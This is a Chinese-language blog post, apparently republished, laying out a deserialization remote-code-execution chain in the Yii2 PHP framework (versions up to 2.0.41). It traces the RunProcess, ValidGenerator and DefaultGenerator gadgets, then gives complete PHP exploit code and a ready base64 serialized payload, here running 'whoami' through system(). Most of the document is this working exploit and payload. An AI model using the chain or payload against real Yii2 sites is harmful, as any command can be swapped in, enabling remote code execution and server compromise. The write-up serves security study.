Yii2 反序列化遠程代碼執行 POP鏈


前言:鞏固POP鏈

影響版本:yii2 version <= 2.0.41

搭建的時候注意出現 Unable to verify your data submission,只需要在對應的控制器下填上public $enableCsrfValidation=false;,關閉CSRF驗證即可

翻看了下__destruct,能夠利用的好像也就只有RunProcess類了,其他類基本都給設定了__wakeup來限制反序列化

跟進stopProcess函數,如下所示,$this->processes可控,那么也就是$process可控,從而$process->isRunning()可以調用任意類的__call方法

找到一個__call的方法滿足我們的需求,ValidGenerator類中的__call方法,可以看到 $this->generator $this->validator $this->maxRetries變量都可以控制,如果$res可以控制的話那么就可以執行命令了

通過這條$res = call_user_func_array([$this->generator, $name], $arguments);,我們再找一個__call方法來返回值給$res那么就可以了,這里找的是DefaultGenerator類

構造EXP:

首先用到的第一個類是RunProcess,命名空間是在Codeception\Extension中,且$this->processes可控,內容需要放一個ValidGenerator對象,ValidGenerator對象的構造參數也需要控制

namespace Codeception\Extension;
use Faker\ValidGenerator;
class RunProcess{
    private $processes = [];
    function __construct($command,$argv)
    {
        $this->processes[] = new ValidGenerator($command,$argv);
    }
}

第二個則是ValidGenerator,DefaultGenerator類,該類的命名空間處於Faker中,且其中的三個屬性都需要控制,$this->generator需要DefaultGenerator類的對象,DefaultGenerator對象的構造參數為要執行的命令

namespace Faker;
class DefaultGenerator{
    protected $default ;
    function __construct($argv)
    {
        $this->default = $argv;
    }
}

class ValidGenerator{
    protected $generator;
    protected $validator;
    protected $maxRetries;
    function __construct($command,$argv)
    {
        $this->generator = new DefaultGenerator($argv);
        $this->validator = $command;
        $this->maxRetries = 99999999;
    }
}

最終的EXP如下:

<?php

namespace Faker;
class DefaultGenerator{
    protected $default ;
    function __construct($argv)
    {
        $this->default = $argv;
    }
}

class ValidGenerator{
    protected $generator;
    protected $validator;
    protected $maxRetries;
    function __construct($command,$argv)
    {
        $this->generator = new DefaultGenerator($argv);
        $this->validator = $command;
        $this->maxRetries = 99999999;
    }
}


namespace Codeception\Extension;
use Faker\ValidGenerator;
class RunProcess{
    private $processes = [];
    function __construct($command,$argv)
    {
        $this->processes[] = new ValidGenerator($command,$argv);
    }
}

$exp = new RunProcess('system','whoami');
echo(base64_encode(serialize($exp)));

//TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjE6e3M6NDM6IgBDb2RlY2VwdGlvblxFeHRlbnNpb25cUnVuUHJvY2VzcwBwcm9jZXNzZXMiO2E6MTp7aTowO086MjA6IkZha2VyXFZhbGlkR2VuZXJhdG9yIjozOntzOjEyOiIAKgBnZW5lcmF0b3IiO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO3M6Njoid2hvYW1pIjt9czoxMjoiACoAdmFsaWRhdG9yIjtzOjY6InN5c3RlbSI7czoxMzoiACoAbWF4UmV0cmllcyI7aTo5OTk5OTk5OTt9fX0=

這條POP鏈比較簡單,如下分析:

code=TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjE6e3M6NDM6IgBDb2RlY2VwdGlvblxFeHRlbnNpb25cUnVuUHJvY2VzcwBwcm9jZXNzZXMiO2E6MTp7aTowO086MjA6IkZha2VyXFZhbGlkR2VuZXJhdG9yIjozOntzOjEyOiIAKgBnZW5lcmF0b3IiO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO3M6Njoid2hvYW1pIjt9czoxMjoiACoAdmFsaWRhdG9yIjtzOjY6InN5c3RlbSI7czoxMzoiACoAbWF4UmV0cmllcyI7aTo5OTk5OTk5OTt9fX0=

分析到這不由得嘆息大佬們還是厲害得,自己去把yii2框架的wakeup和destruct看了下,感覺基本沒有可以利用的了,不知道之后會不會再有。。

參考文章:https://xz.aliyun.com/t/9420


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM